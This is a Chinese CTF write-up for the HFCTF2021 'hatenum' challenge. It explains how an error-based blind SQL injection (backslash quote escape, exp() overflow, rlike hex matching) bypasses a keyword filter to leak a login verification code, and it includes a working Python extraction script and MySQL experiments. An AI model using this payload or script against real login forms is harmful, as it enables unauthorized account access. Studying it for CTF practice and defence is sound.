0%

[HFCTF2021]hatenum

[HFCTF2021]hatenum

BUU上的复现,之前做其他题的时候一直在想HFCTF是个啥,合肥CTF?听起来就很不合理,这次这个题是之前队里师傅出的,所以我到这个时候才发现原来是虎符CTF。。。

SQL注入题,但是我作为SQL注入废物,自然是不能很顺畅的做出来

题解

代码很简单,登录注册两个功能,admin登录就能拿flag。过滤了一堆东西 preg_match('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i', $str)),同时还限制了数字(preg_match('/\d{9}|0x[0-9a-f]{9}/i',$str))。登录的话,登录成功失败和发生错误是三个不同的回显,所以可以通过触发错误进行盲注,常见操作就是整数溢出注入了,但是这里限制了数字的位数,所以整数溢出似乎也做不到。

这里有两种做法,一个是网上常见的wp的答案,exp函数,上限是exp(709),再加一就会溢出浮点数上界报错,还有一种是学长的~0+1,对0取反直接拿到最大整数
这个取反操作挺玄幻的,可能这里是逐位取反,所以对0取反拿到了无符号最大整数?如果对负数取反的话结果会比较玄幻,感觉负数应该是补码存储的,然后取反同样是逐位翻转(包括符号位)

mysql> select ~0;
+----------------------+
| ~0                   |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)

mysql> select ~(-1);
+-------+
| ~(-1) |
+-------+
|     0 |
+-------+
1 row in set (0.00 sec)

mysql> select ~1;
+----------------------+
| ~1                   |
+----------------------+
| 18446744073709551614 |
+----------------------+
1 row in set (0.00 sec)

mysql> select 18446744073709551615+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551615 + 1)'
mysql> select exp(709);
+-----------------------+
| exp(709)              |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)

mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

接下来我们看一下过滤,禁用了单双引号各种空格符号和星号,但是注释符和反斜杠没有过滤,没了星号就没有行内注释符了,但是还是可以用井号进行单行注释,用反斜杠转义掉引号然后再注释掉下一个引号,就在password处能有一个完全可控的输入点,也能万能密码登录,不过因为登陆之后还有一部验证码校验,万能密码过了验证码也不知道登不进去,需要通过注入把验证码搞出来
select * from users where username='$username' and password='$password'

有了注入点之后提取数据的方式,这里过滤掉了select,所以是不能拿其他表的数据了,这里我一开始忘了,还以为没select又没堆叠又不是MySQL8就拿不到数据了,还是可以拿到当前表的数据的,所以拿code还是有机会的
接下来是字符串获取,但是这个过滤是比较狠的,substr,mid,left之类的还有各种大小于号等号都没了,并且没有引号,也不好比较字符串,只能用0x十六进制的形式来表示字符串,但由于题目的限制,最多只能表示四个字符。regexp这个正则也没了,但是还有一个常用字段LIKE还在,搜了一下,不止是LIKE,还有一个叫RLIKE的字段,LIKE要全部匹配才返回1,而RLIKE和REGEXP则是部分匹配即可返回1,刚好满足我们的只有四个字符的条件

mysql> select 'abcd' like 'a';
+-----------------+
| 'abcd' like 'a' |
+-----------------+
|               0 |
+-----------------+
1 row in set (0.00 sec)

mysql> select 'abcd' rlike 'a';
+------------------+
| 'abcd' rlike 'a' |
+------------------+
|                1 |
+------------------+
1 row in set (0.00 sec)

mysql> select 'abcd' regexp 'a';
+-------------------+
| 'abcd' regexp 'a' |
+-------------------+
|                 1 |
+-------------------+
1 row in set (0.00 sec)

like是_匹配单个任意字符,%匹配任意数量的字符,rlike和regexp则和标准正则语法比较一致。当然,这里用通配符还会占用更多的字符,所以就硬匹配好了。

先用^确认开头,然后一个字符一个字符的挪
但是还是没有这么顺利,因为一次只能匹配四个字符,那么,如果整个字符串中出现三个连续字符的重复片段,那么接下来的一次匹配匹配上的字符就可能是看你charset的顺序了,这里就出现了这样的情况;并且这里需要表里就一条数据,不然这code就不知道匹配到哪去了。
先贴一下垃圾脚本

import requests
import time

url = "http://37bb2225-a836-4156-8347-f6627b0ef845.node4.buuoj.cn:81/login.php"
payload = "||exp(709+((code)rlike(0x{})))#"
charset = "1234567890qwertyuiopasdfghjklzxcvbnm_"
# erghruigh2(3,u)
# gh23uiu32ig
# gh2uygh2(3,u)
# erghruigh2uygh23uiu32ig
result = "67683275"
plain = "gh2u"
# print(result, end="")
for i in range(100):
    finds = []
    result = result[2:]
    for c in charset:
        t = hex(ord(c))[2:]
        time.sleep(0.1)
        data = {"username": "a\\", "password": payload.format(result+t), "code": "1"}
        # print(data)
        res = requests.post(url, data, allow_redirects=False)
        if "error" == res.text:
            finds.append(t)
    if len(finds) > 1:
        print(finds)
        print(plain)
        print(result)
        exit(0)
    else:
        result += finds[0]
        plain += chr(int(finds[0], 16))
        print(plain)

这里出现了一个分支,在erghruigh2之后有两个可能字符,3和u,跟进3
发现抵达了字符串末尾,而跟进u,其结尾又是gh2,其后可能是3可能是u。这里就真没办法了,只能猜这个跟进u的序列重复了多少次,不过只重复了一次,一次就能过了(这段的逻辑我想了好久才想明白怎么处理。。。。幸好重复的只有一个字段)

使用char函数也能拼出来字符串,不过这里禁了逗号,所以也不行

mysql> select char(0x7133);
+--------------+
| char(0x7133) |
+--------------+
| q3           |
+--------------+
1 row in set (0.00 sec)

mysql> select char(71,70);
+-------------+
| char(71,70) |
+-------------+
| GF          |
+-------------+
1 row in set (0.00 sec)

整数溢出

有一点讲究,mysql似乎会自己判断输入数字的范围然后决定用什么类型的数字去处理他,小一点的就是无符号整数,负数的话会变成有符号整数,超过无符号整数的数字会用更大的数字处理(?),总之越了无符号数的上界之后就没成功溢出报错过了

mysql> select 18446744073709551615+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551615 + 1)'
mysql> select 18446744073709551616+1;
+------------------------+
| 18446744073709551616+1 |
+------------------------+
|   18446744073709551617 |
+------------------------+
1 row in set (0.00 sec)

mysql where子句处理顺序

我觉得这个是个很有意思的点,学到了。以前我们都认为mysql的逻辑处理是从左往右的,比如有一个and语句,1=1 and exp(710),如果1=1为真,那么继续and后的exp语句,如果1=1为假,那后面的条件肯定是无意义的,就会被直接的忽略掉,但事实真的如此吗?进行简单的实验

mysql> select * from users where id=0 or 1=0 and password=exp(710);
Empty set (0.00 sec)

mysql> select * from users where id=0 or 1=1 and password=exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
mysql> select * from users where id=0 or 1=0 and exp(710);
Empty set (0.00 sec)

似乎和之前的认知是一致的,and语句中前一句挂了,后一句就不用执行了。但是,如果把1=1换成这个题目类型的payload呢?
注:这里没有password中有z的密码

mysql> select * from users where id=0 or password rlike 'a' and exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
mysql> select * from users where id=0 or password rlike 'z' and exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

仿佛事情有所转机,那么再来一次

mysql> select * from users where id=0 or password rlike 'a' and password=exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
mysql> select * from users where id=0 or password rlike 'z' and password=exp(710);
Empty set (0.00 sec)

我逐渐相信了他的说法,mysql是会以某种顺序去计算条件的,那个师傅提到最有可能的是先计算全常量的表达式,比如之前的1=1,比如这样

mysql> select * from users where id=0 or password=exp(710) and 1=1;
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
mysql> select * from users where id=0 or password=exp(710) and 1=0;
Empty set (0.00 sec)

把password=去掉的话就可能因为都是常量顺序计算都报错了
总的来说有点玄幻。。。。用之前先试一下,最好的方法还是做加减而不是靠这种逻辑语句的运算顺序

参考链接

虎符杯final_hatenum复现
mysql where条件执行顺序_MySQL复杂where条件分析